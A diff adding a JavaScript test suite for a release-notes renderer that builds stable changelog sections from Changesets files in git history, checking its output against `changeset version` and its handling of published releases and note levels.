+ expect(DOCS_NOTES_SOURCE_MARKER).toBe(NOTES_SOURCE_MARKER);
+ const rendered = renderStableNotes([{ id: 'a-fix', level: 'patch', summary: 'A fix.' }], {
+ marked: true,
+ });
+ const body = `${rendered}\n<!-- ok-downloads:start -->\n| a |\n<!-- ok-downloads:end -->\n`;
+ expect(markedNotes(body)).toBe('### Patch Changes\n\n- A fix.');
+ expect(markedNotes(renderStableNotes([], { marked: true }))).toBeNull();
+ });
+
+ test('a release with no entries says so and carries no marker, so the docs keep CHANGELOG.md', () => {
+ expect(renderStableNotes([], { marked: true })).toBe(`${EMPTY_NOTES}\n`);
+ });
+});
+
+describe('renderStableNotes matches what `changeset version` writes to the CLI changelog', () => {
+ const entries = {
+ 'b-multi': {
+ level: 'patch',
+ summary:
+ 'A fix with detail.\n\nThe second paragraph explains it.\n\n- a nested point\n- another point\n\nA closing paragraph.',
+ },
+ 'a-feature': { level: 'minor', summary: 'Add a feature.' },
+ 'c-plain': {
+ level: 'patch',
+ summary: 'A plain one-line fix with `code` and a [link](https://example.com).',
+ },
+ 'c-plain-tail': { level: 'patch', summary: 'Sorted before c-plain.md by file name.' },
+ 'd-fence': {
+ level: 'patch',
+ summary: 'A fix with a fence.\n\n```sh\nok start\n\nok stop\n```',
+ },
+ };
+
+ test('byte for byte, once the commit hash is stripped', () => {
+ const root = tempDir('stable-notes-changesets-oracle-');
+ writeFileSync(
+ join(root, 'package.json'),
+ JSON.stringify({ name: OK, version: '0.1.0' }, null, 2),
+ );
+ mkdirSync(join(root, '.changeset'));
+ writeFileSync(
+ join(root, '.changeset', 'config.json'),
+ JSON.stringify({ changelog: '@changesets/cli/changelog', commit: false, fixed: [[OK]] }),
+ );
+ for (const [id, { level, summary }] of Object.entries(entries)) {
+ writeFileSync(join(root, '.changeset', `${id}.md`), changeset(`"${OK}": ${level}`, summary));
+ }
+ git(root, ['init', '-q', '-b', 'main']);
+ configureTestGitRepository(root);
+ git(root, ['add', '-A']);
+ git(root, [
+ '-c',
+ 'user.name=t',
+ '-c',
+ 'commit',
+ '-q',
+ '-m',
+ 'changesets',
+ ]);
+
+ const bin = createRequire(join(OK_ROOT, 'package.json')).resolve('@changesets/cli/bin.js');
+ const res = spawnSync(process.execPath, [bin, 'version'], {
+ cwd: root,
+ env: gitCleanEnv(),
+ encoding: 'utf8',
+ });
+ expect(res.status, res.stderr).toBe(0);
+
+ const changelog = readFileSync(join(root, 'CHANGELOG.md'), 'utf8');
+ const heading = changelog.indexOf('## 0.2.0');
+ expect(heading).toBeGreaterThan(-1);
+ const section = changelog
+ .slice(heading + '## 0.2.0'.length)
+ .replace(/^(\s*[-*] )[0-9a-f]{6,40}: /gm, '$1')
+ .trim();
+ const rendered = renderStableNotes(
+ Object.entries(entries).map(([id, entry]) => ({ id, ...entry })),
+ { marked: true },
+ );
+ expect(rendered).toBe(`${section}\n\n${NOTES_SOURCE_MARKER}\n`);
+ });
+});
+
+describe('section levels match the CLI changelog `changeset version` writes for a fixed group', () => {
+ test('a changeset naming the CLI is filed under its CLI bump, not the group maximum', () => {
+ const root = tempDir('stable-notes-changesets-levels-');
+ writeFileSync(
+ join(root, 'package.json'),
+ JSON.stringify({ name: 'root', private: true, workspaces: ['packages/*'] }, null, 2),
+ );
+ for (const [dir, name] of [
+ ['cli', OK],
+ ['core', CORE],
+ ]) {
+ mkdirSync(join(root, 'packages', dir), { recursive: true });
+ writeFileSync(
+ join(root, 'packages', dir, 'package.json'),
+ JSON.stringify({ name, version: '0.1.0' }, null, 2),
+ );
+ }
+ mkdirSync(join(root, '.changeset'));
+ const config = { changelog: '@changesets/cli/changelog', commit: false, fixed: [[OK, CORE]] };
+ writeFileSync(join(root, '.changeset', 'config.json'), JSON.stringify(config));
+ const files = {
+ 'a-mixed': changeset(`"${CORE}": minor\n"${OK}": patch`, 'Core minor, CLI patch.'),
+ 'b-cli-minor': changeset(`"${OK}": minor`, 'A CLI feature.'),
+ };
+ for (const [id, text] of Object.entries(files)) {
+ writeFileSync(join(root, '.changeset', `${id}.md`), text);
+ }
+ git(root, ['init', '-q', '-b', 'main']);
+ configureTestGitRepository(root);
+ git(root, ['add', '-A']);
+ git(root, [
+ '-c',
+ 'user.name=t',
+ '-c',
+ 'commit',
+ '-q',
+ '-m',
+ 'changesets',
+ ]);
+
+ const bin = createRequire(join(OK_ROOT, 'package.json')).resolve('@changesets/cli/bin.js');
+ const res = spawnSync(process.execPath, [bin, 'version'], {
+ cwd: root,
+ env: gitCleanEnv(),
+ encoding: 'utf8',
+ });
+ expect(res.status, res.stderr).toBe(0);
+
+ const changelog = readFileSync(join(root, 'packages', 'cli', 'CHANGELOG.md'), 'utf8');
+ const heading = changelog.indexOf('## 0.2.0');
+ expect(heading).toBeGreaterThan(-1);
+ const section = changelog
+ .slice(heading + '## 0.2.0'.length)
+ .replace(/^(\s*[-*] )[0-9a-f]{6,40}: /gm, '$1')
+ .trim();
+ const reader = noteReaderAt(root);
+ const head = reader.revParse('HEAD');
+ const rendered = renderStableNotes(
+ Object.keys(files).map((id) => ({
+ id,
+ level: reader.noteLevelOf(head, id),
+ summary: changesetSummary(reader.changesetText(head, id)),
+ })),
+ { marked: true },
+ );
+ expect(rendered).toBe(`${section}\n\n${NOTES_SOURCE_MARKER}\n`);
+ expect(section).toMatch(/### Patch Changes\n\n- Core minor, CLI patch\./);
+ });
+});
+
+describe('changesetSummary', () => {
+ test('reads the text after the frontmatter, trimmed, as @changesets/parse does', () => {
+ expect(changesetSummary(`---\n"${OK}": patch\n---\n\n A fix.\n\nMore.\n\n`)).toBe(
+ 'A fix.\n\nMore.',
+ );
+ });
+
+ test('refuses a file with no frontmatter', () => {
+ expect(() => changesetSummary('Just text.\n')).toThrow(/no frontmatter/);
+ });
+});
+
+describe('noteLevel', () => {
+ test('is the bump a changeset declares for the CLI package when it names the CLI', () => {
+ const releases = [
+ { name: OK, type: 'patch' },
+ { name: CORE, type: 'minor' },
+ { name: '@inkeep/open-knowledge-docs', type: 'major' },
+ ];
+ expect(noteLevel(releases, FIXED)).toBe('patch');
+ });
+
+ test('is the highest fixed-group bump when the changeset does not name the CLI', () => {
+ const releases = [
+ { name: '@inkeep/open-knowledge-desktop', type: 'patch' },
+ { name: CORE, type: 'minor' },
+ { name: '@inkeep/open-knowledge-docs', type: 'major' },
+ ];
+ expect(noteLevel(releases, FIXED)).toBe('minor');
+ });
+
+ test('falls back to the fixed group when the changeset declares `none` for the CLI', () => {
+ const releases = [
+ { name: OK, type: 'none' },
+ { name: '@inkeep/open-knowledge-desktop', type: 'patch' },
+ ];
+ expect(noteLevel(releases, FIXED)).toBe('patch');
+ });
+
+ test('is null for a changeset that names no fixed-group package or only `none`', () => {
+ expect(noteLevel([{ name: '@inkeep/open-knowledge-docs', type: 'patch' }], FIXED)).toBeNull();
+ expect(noteLevel([{ name: OK, type: 'none' }], FIXED)).toBeNull();
+ });
+
+ test('reads the fixed group that contains the CLI package from the Changesets config', () => {
+ expect(fixedGroupOf(JSON.parse(CONFIG))).toEqual(FIXED);
+ expect(fixedGroupOf({ fixed: [['other-a', 'other-b']] })).toEqual([OK]);
+ expect(fixedGroupOf({})).toEqual([OK]);
+ });
+});
+
+describe('collectStableNotes over a release history', () => {
+ test('lists only changesets no other stable tag carries, with their text at the commit', () => {
+ const h = releaseHistory();
+ const a = h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X shipped in A.') });
+ h.tag('v1.0.0', a);
+ h.commit('B', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y as first written.') });
+ const c = h.commit('C', {
+ 'y-fix.md': changeset(`"${OK}": patch`, 'Y as it ships.'),
+ 'z-feature.md': changeset(`"${CORE}": minor`, 'Z.'),
+ 'docs-only.md': changeset('"@inkeep/open-knowledge-docs": patch', 'Docs only.'),
+ });
+
+ const notes = collectStableNotes({ commit: c, excludeTags: ['v1.1.0'] }, noteReaderAt(h.base));
+ expect(notes).toEqual([
+ { id: 'y-fix', level: 'patch', summary: 'Y as it ships.' },
+ { id: 'z-feature', level: 'minor', summary: 'Z.' },
+ ]);
+ });
+
+ test('a changeset a revert point release removed stays released for every later stable', () => {
+ const h = releaseHistory();
+ const a = h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') });
+ h.tag('v1.0.0', a);
+ const main = h.commit('main after A', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ git(h.root, ['checkout', '-q', '--detach', a]);
+ const revert = h.commit('revert X', {}, ['x-fix.md']);
+ h.tag('v1.0.1', revert);
+ git(h.root, ['checkout', '-q', 'main']);
+ expect(git(h.root, ['ls-tree', '--name-only', main, '--', '.changeset/'])).toContain(
+ 'x-fix.md',
+ );
+
+ const reader = noteReaderAt(h.base);
+ const notes = collectStableNotes({ commit: main, excludeTags: ['v1.1.0'] }, reader);
+ expect(notes.map((entry) => entry.id)).toEqual(['y-fix']);
+ });
+
+ test('the tag being rendered is excluded, so a re-run renders the same notes', () => {
+ const h = releaseHistory();
+ h.tag('v1.0.0', h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const b = h.commit('B', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ h.tag('v1.0.1', b);
+ const reader = noteReaderAt(h.base);
+ expect(
+ collectStableNotes({ commit: b, excludeTags: ['v1.0.1'] }, reader).map((e) => e.id),
+ ).toEqual(['y-fix']);
+ expect(collectStableNotes({ commit: b }, reader)).toEqual([]);
+ });
+
+ test('with no stable tag at all every changeset in the tree is rendered', () => {
+ const h = releaseHistory();
+ const a = h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') });
+ expect(collectStableNotes({ commit: a }, noteReaderAt(h.base)).map((e) => e.id)).toEqual([
+ 'x-fix',
+ ]);
+ });
+
+ test('from a monorepo subtree it reads the subtree .changeset', () => {
+ const h = releaseHistory({ subtree: 'public/open-knowledge' });
+ const a = h.commit('A', { 'x-fix.md': changeset(`"${OK}": minor`, 'X.') });
+ expect(collectStableNotes({ commit: a }, noteReaderAt(h.base))).toEqual([
+ { id: 'x-fix', level: 'minor', summary: 'X.' },
+ ]);
+ });
+});
+
+describe('only stable tags whose Release published count as released', () => {
+ test('a stable whose Release never published releases nothing, so the next one lists its changesets', () => {
+ const h = releaseHistory();
+ h.tag('v0.9.0', h.commit('A', { 'w-fix.md': changeset(`"${OK}": patch`, 'W.') }));
+ h.tag('v1.0.0', h.commit('B', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const c = h.commit('C', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ const reader = noteReaderAt(h.base);
+
+ const published = collectStableNotes(
+ { commit: c, excludeTags: ['v1.0.1'], releasedTags: ['v0.9.0'] },
+ reader,
+ );
+ expect(published.map((entry) => entry.id)).toEqual(['x-fix', 'y-fix']);
+ expect(
+ collectStableNotes({ commit: c, excludeTags: ['v1.0.1'] }, reader).map((entry) => entry.id),
+ ).toEqual(['y-fix']);
+ });
+
+ test('the marker follows the released set: only a published list marks the body', () => {
+ const h = releaseHistory();
+ h.tag('v0.9.0', h.commit('A', { 'w-fix.md': changeset(`"${OK}": patch`, 'W.') }));
+ h.tag('v1.0.0', h.commit('B', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const c = h.commit('C', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ const reader = noteReaderAt(h.base);
+
+ expect(
+ stableNotes({ commit: c, excludeTags: ['v1.0.1'], publishedTags: ['v0.9.0'] }, reader),
+ ).toBe(`### Patch Changes\n\n- X.\n- Y.\n\n${NOTES_SOURCE_MARKER}\n`);
+ expect(stableNotes({ commit: c, excludeTags: ['v1.0.1'] }, reader)).toBe(
+ '### Patch Changes\n\n- Y.\n',
+ );
+ });
+
+ test('a render that is not asked to mark keeps the notes and drops only the marker', () => {
+ const entries = [{ id: 'a-fix', level: 'patch', summary: 'A fix.' }];
+ expect(renderStableNotes(entries)).toBe('### Patch Changes\n\n- A fix.\n');
+ });
+});
+
+describe('note levels carry the Changesets read from the reader job to the release job', () => {
+ test('levels recorded where the reader ran answer the same blobs where it cannot run', () => {
+ const h = releaseHistory();
+ const a = h.commit('A', {
+ 'x-fix.md': changeset(`"${OK}": patch`, 'X.'),
+ 'y-feature.md': changeset(`"${CORE}": minor`, 'Y.'),
+ });
+ const levels = new Map();
+ const read = collectStableNotes({ commit: a }, recordNoteLevels(noteReaderAt(h.base), levels));
+ expect([...levels.values()].sort()).toEqual(['minor', 'patch']);
+
+ const noReader = withNoteLevels(
+ {
+ ...noteReaderAt(h.base),
+ noteLevelOf: () => {
+ throw new Error('the Changesets reader is not installed in this job');
+ },
+ },
+ levels,
+ );
+ expect(collectStableNotes({ commit: a }, noReader)).toEqual(read);
+
+ const later = h.commit('B', { 'z-fix.md': changeset(`"${OK}": patch`, 'Z.') });
+ expect(() => collectStableNotes({ commit: later }, noReader)).toThrow(
+ /no note level for \.changeset\/z-fix\.md/,
+ );
+ });
+
+ test('parseNoteLevels names the note_levels output when it is missing', () => {
+ expect(() => parseNoteLevels('')).toThrow(
+ /^NOTE_LEVELS is empty: the read-bumps job wrote no note_levels output/,
+ );
+ expect(parseNoteLevels('{"abc":null}')).toEqual(new Map([['abc', null]]));
+ expect(() => parseNoteLevels('[]')).toThrow(
+ 'note levels must be a JSON object mapping changeset blob ids to release-note levels.',
+ );
+ });
+});
+
+describe('parseArgs', () => {
+ test('reads the commit, repeated exclusions and the read-levels mode, ignoring an empty exclusion', () => {
+ expect(
+ parseArgs([
+ '--commit',
+ 'abc',
+ '--exclude-tag',
+ 'v1.0.0',
+ '--exclude-tag',
+ '',
+ '--read-levels',
+ ]),
+ ).toEqual({
+ readLevels: true,
+ commit: 'abc',
+ excludeTags: ['v1.0.0'],
+ releasesFile: '',
+ });
+ expect(parseArgs(['--commit', 'abc', '--releases', '/tmp/r']).releasesFile).toBe('/tmp/r');
+ });
+
+ test('refuses a missing commit and unknown arguments', () => {
+ expect(() => parseArgs([])).toThrow(/--commit <sha> is required/);
+ expect(() => parseArgs(['--commit', 'abc', '--bogus'])).toThrow(/unknown argument '--bogus'/);
+ });
+});
+
+describe('the release job renders the notes with no node_modules at all', () => {
+ const SCRIPT_FILES = [
+ 'render-stable-notes.mjs',
+ 'compute-stable-version.mjs',
+ 'compute-next-beta.mjs',
+ 'git-clean-env.mjs',
+ ];
+
+ function isolatedScript() {
+ const dir = tempDir('stable-notes-no-node-modules-');
+ mkdirSync(join(dir, 'scripts'));
+ for (const file of SCRIPT_FILES) copyFileSync(join(SCRIPTS, file), join(dir, 'scripts', file));
+ mkdirSync(join(dir, '.github', 'scripts'), { recursive: true });
+ copyFileSync(
+ join(OK_ROOT, '.github', 'scripts', 'shipped-fix-containment.mjs'),
+ join(dir, '.github', 'scripts', 'shipped-fix-containment.mjs'),
+ );
+ return join(dir, 'scripts', 'render-stable-notes.mjs');
+ }
+
+ function releaseListing(releases) {
+ const file = join(tempDir('stable-notes-releases-'), 'releases.jsonl');
+ const lines = releases.map(([tag, draft]) =>
+ JSON.stringify({ tag_name: tag, draft, body: '' }),
+ );
+ writeFileSync(file, lines.join('\n'));
+ return file;
+ }
+
+ function run(script, cwd, args, env = {}) {
+ const outDir = tempDir('stable-notes-output-');
+ const output = join(outDir, 'github-output');
+ writeFileSync(output, '');
+ const { NOTE_LEVELS: _inherited, ...base } = gitCleanEnv();
+ const res = spawnSync(process.execPath, [script, ...args], {
+ cwd,
+ encoding: 'utf8',
+ env: { ...base, GITHUB_OUTPUT: output, ...env },
+ });
+ return { ...res, output: readFileSync(output, 'utf8') };
+ }
+
+ test('the reader job records note_levels and the release job renders byte-identical notes from them', () => {
+ const h = releaseHistory();
+ h.tag('v1.0.0', h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const b = h.commit('B', {
+ 'y-fix.md': changeset(`"${OK}": patch`, 'Y.'),
+ 'z-feature.md': changeset(`"${CORE}": minor`, 'Z.'),
+ });
+ const releases = releaseListing([
+ ['v1.0.0', false],
+ ['v1.1.0-beta.1', false],
+ ]);
+ const args = ['--commit', b, '--exclude-tag', 'v1.1.0', '--releases', releases];
+
+ const withReader = run(join(SCRIPTS, 'render-stable-notes.mjs'), h.root, args);
+ expect(withReader.status, withReader.stderr).toBe(0);
+ expect(withReader.stdout).toBe(
+ `### Minor Changes\n\n- Z.\n\n### Patch Changes\n\n- Y.\n\n${NOTES_SOURCE_MARKER}\n`,
+ );
+
+ const reading = run(join(SCRIPTS, 'render-stable-notes.mjs'), h.root, [
+ '--commit',
+ b,
+ '--read-levels',
+ ]);
+ expect(reading.status, reading.stderr).toBe(0);
+ const levels = /^note_levels=(.*)$/m.exec(reading.output)?.[1];
+ expect(Object.values(JSON.parse(levels ?? '{}')).sort()).toEqual(['minor', 'patch', 'patch']);
+
+ const isolated = run(isolatedScript(), h.root, args, { NOTE_LEVELS: levels });
+ expect(isolated.status, isolated.stderr).toBe(0);
+ expect(isolated.stdout).toBe(withReader.stdout);
+ });
+
+ test('a stable tag whose Release is still a draft releases nothing, so its changesets are listed again', () => {
+ const h = releaseHistory();
+ h.tag('v0.9.0', h.commit('A', { 'w-fix.md': changeset(`"${OK}": patch`, 'W.') }));
+ h.tag('v1.0.0', h.commit('B', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const c = h.commit('C', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ const releases = releaseListing([
+ ['v0.9.0', false],
+ ['v1.0.0', true],
+ ]);
+ const res = run(join(SCRIPTS, 'render-stable-notes.mjs'), h.root, [
+ '--commit',
+ c,
+ '--releases',
+ releases,
+ ]);
+ expect(res.status, res.stderr).toBe(0);
+ expect(res.stdout).toBe(`### Patch Changes\n\n- X.\n- Y.\n\n${NOTES_SOURCE_MARKER}\n`);
+ });
+
+ test('when the published Releases cannot be read the notes carry no marker and warn they may omit changesets', () => {
+ const h = releaseHistory();
+ h.tag('v1.0.0', h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') }));
+ const b = h.commit('B', { 'y-fix.md': changeset(`"${OK}": patch`, 'Y.') });
+ const res = run(join(SCRIPTS, 'render-stable-notes.mjs'), h.root, [
+ '--commit',
+ b,
+ '--releases',
+ releaseListing([]),
+ ]);
+ expect(res.status, res.stderr).toBe(0);
+ expect(res.stdout).toBe('### Patch Changes\n\n- Y.\n');
+ expect(res.stderr).toMatch(
+ /::warning::render-stable-notes: could not read the published stable Releases \(.*holds no stable Release/,
+ );
+ expect(res.stderr).toMatch(
+ /may leave out changesets first tagged in a stable whose Release never published/,
+ );
+ });
+
+ test('without note levels the isolated copy cannot load the reader, so the run above never tried', () => {
+ const h = releaseHistory();
+ const a = h.commit('A', { 'x-fix.md': changeset(`"${OK}": patch`, 'X.') });
+ const res = run(isolatedScript(), h.root, ['--commit', a, '--releases', releaseListing([])]);
+ expect(res.status).toBe(1);
+ expect(res.stderr).toMatch(/@changesets\/cli/);
+ expect(res.stdout).toBe('');
+ });
+});